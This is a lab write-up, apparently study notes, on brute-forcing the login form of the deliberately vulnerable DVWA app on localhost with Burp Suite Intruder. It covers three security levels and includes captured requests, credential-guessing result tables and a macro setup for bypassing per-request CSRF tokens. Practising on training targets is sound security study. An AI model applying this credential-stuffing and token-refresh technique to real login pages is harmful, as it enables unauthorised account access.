

# Brute Force

## 1. Low Level

- First we login with my username, password with the burp suite was turn on

**Vulnerability: Brute Force**

**Login**

Username:

Password:

- Get the log in data in burp suite. Send it to intruder

```
GET /DWA/vulnerabilities/brute/?username=admin&password=password&Login=Login HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://127.0.0.1/DWA/vulnerabilities/brute/
Cookie: security=low; PHPSESSID=lp8858gem073tefj5n7g8r37o
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
```

- Upload the payload set in [this](#) and start attacking

Request	Payload1	Payload2 ^	Status code	Error	Timeout	Length	passw...	Comment
94	admin	iloveyou	200	<input type="checkbox"/>	<input type="checkbox"/>	4620	1	
95	mysql	iloveyou	200	<input type="checkbox"/>	<input type="checkbox"/>	4620	1	
96	user	iloveyou	200	<input type="checkbox"/>	<input type="checkbox"/>	4620	1	
97	administrator	iloveyou	200	<input type="checkbox"/>	<input type="checkbox"/>	4620	1	
98	oracle	iloveyou	200	<input type="checkbox"/>	<input type="checkbox"/>	4620	1	
99	ftp	iloveyou	200	<input type="checkbox"/>	<input type="checkbox"/>	4620	1	
13	admin	password	200	<input type="checkbox"/>	<input type="checkbox"/>	4663		
15	guest	password	200	<input type="checkbox"/>	<input type="checkbox"/>	4620	1	
17	adm	password	200	<input type="checkbox"/>	<input type="checkbox"/>	4620	1	
19	user	password	200	<input type="checkbox"/>	<input type="checkbox"/>	4620	1	
20	administrator	password	200	<input type="checkbox"/>	<input type="checkbox"/>	4620	1	
21	oracle	password	200	<input type="checkbox"/>	<input type="checkbox"/>	4620	1	
22	ftp	password	200	<input type="checkbox"/>	<input type="checkbox"/>	4620	1	

- The credentials we found was the longest burp intruder found

## 2. Medium Level

- The dev add a `sleep()` function to nag attackers. This is clearly useless as the same method used in the low level still work

```
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
```

## 3. High Level

```
GET /DWA/vulnerabilities/brute/?username=ererreereg&password=erergreger&Login=Login&user_token=
e7be27d12a2a36a9740da0ea28eb03cc HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer:
http://127.0.0.1/DWA/vulnerabilities/brute/?username=123123131&password=1231312321&Login=Login&user_token=9
e92aeb8b5b1d3eeacc8fa10bbc3de29
Cookie: security=high; PHPSESSID=jgm2emiojv2pvmsfrsptrho9ar
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
```

- When we send a request with the credentials `test/test` we can see that a new parameter is being sent along the credentials : the `user_token`
- To be able to brute force the application we must give the proper `user_token` in our login request
- We create a new macro
  - Settings ⇒ Sessions ⇒ Macro ⇒ Add ⇒ Selcet the request we just saw in HTTP history

### Macro Editor

Use the configuration below to define the items that are included in the macro, and the order they will be issued. You can configure how parameters and cookies are handled for each item. You can also test the macro to confirm it is working correctly.

Macro description: Macro 1

Macro items:

#	Host	Method	URL	Status code	Cookies received	Derived parameters
1	http://127.0.0.1	GET	/DVWA/vulnerabilities/brute/index.php?userna...	200		

Configure item

Move up

Move down

Remove item

**Request**  
Pretty Raw Hex In

1 GET /DVWA/vulnerabilities/brute/index.php?username=aaaaaaa&password=aaaaaaa&Login=Login&user\_token=e383e179315d466f9ca209a1b080ff58 HTTP/1.1  
2 Host: 127.0.0.1  
3 User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:109.0) Gecko/20100101 Firefox/115.0

Search 0 highlights

**Response**  
Pretty Raw Hex Render In

1 HTTP/1.1 200 OK  
2 Date: Sun, 09 Jun 2024 14:09:44 GMT  
3 Server: Apache/2.4.58 (Debian)  
4 Expires: Tue, 23 Jun 2009 12:00:00 GMT  
5 Cache-Control: no-cache, must-revalidate  
6 Pragma: no-cache  
7 Vary: Accept-Encoding  
8 Content-Length: 4380

Search 0 highlights

**Inspector**

Request attributes 2  
Request query parameters 4  
Request body parameters 0  
Request cookies 2  
Request headers 13

Re-record macro

Re-analyze macro

Test macro

- We now have a macro that is capable of retrieving the login page. We just have to extract the token from the login page now
- Session handling rule
  - Settings ⇒ Sessions ⇒ Session Handling Rules ⇒ Add
  - Click **Add** under **Rule Actions**

Details

Scope

?

Rule description

Rule 1

?

Rule actions

The actions below will be performed in sequence when this rule is applied to a request.

Add

Edit

Remove

Up

Down

Enabled	Description
<input checked="" type="checkbox"/>	run macro: Macro 1

- In the Scope tab we select Intruder

**? Tools scope**  
Select the tools that this rule will be applied to.

☐ Target
 ☐ Scanner
 ☐ Repeater  
☒ Intruder
 ☐ Sequencer
 ☐ Extensions  
☐ Proxy (use with caution)

---

**? URL scope**  
Use the configuration below to control which URLs this rule applies to.

☐ Include all URLs  
☒ Use suite scope [defined in Target tab]  
☐ Use custom scope

---

**? Parameter scope**  
You can restrict the rule to requests containing specific parameters if required.

☐ Restrict to requests containing these parameters:

- Click the **Up** button to move the rule up

Add	Enabled	Description	Tools
Edit	<input checked="" type="checkbox"/>	Rule 1	Intruder
Remove	<input checked="" type="checkbox"/>	Use cookies from Burp's cookie jar	Scanner
Duplicate			
Up			
Down			

Use the sessions tracer to monitor or troubleshoot the behavior of your session handling rules.

- Running attack, the incorrect tick 1, the correct tick nothing

Request ^	Payload 1	Payload 2	Status code	Response received	Error	Timeout	Length	incorrect
11	wampp	admin	200	3003			4791	1
12	newuser	admin	200	1004			4791	1
13	xampp-dav-unsecure	admin	200	1			4791	1
14	vagrant	admin	200	5			4791	1
15	admin	password	200	4			4829	
16	manager	password	200	2003			4791	1
17	root	password	200	3			4791	1
18	cisco	password	200	2005			4791	1
19	apc	password	200	3003			4791	1
20	pass	password	200	1004			4791	1
21	security	password	200	2004			4791	1
22	user	password	200	4			4791	1
23	system	password	200	3003			4791	1
24	sys	password	200	3			4791	1
25	wampp	password	200	3005			4791	1
26	newuser	password	200	2003			4791	1
27	xampp-dav-unsecure	password	200	1006			4791	1
28	vagrant	password	200	3003			4791	1
29	admin	manager	200	2004			4791	1
30	manager	manager	200	2004			4791	1
..	.	.	...	....			....	.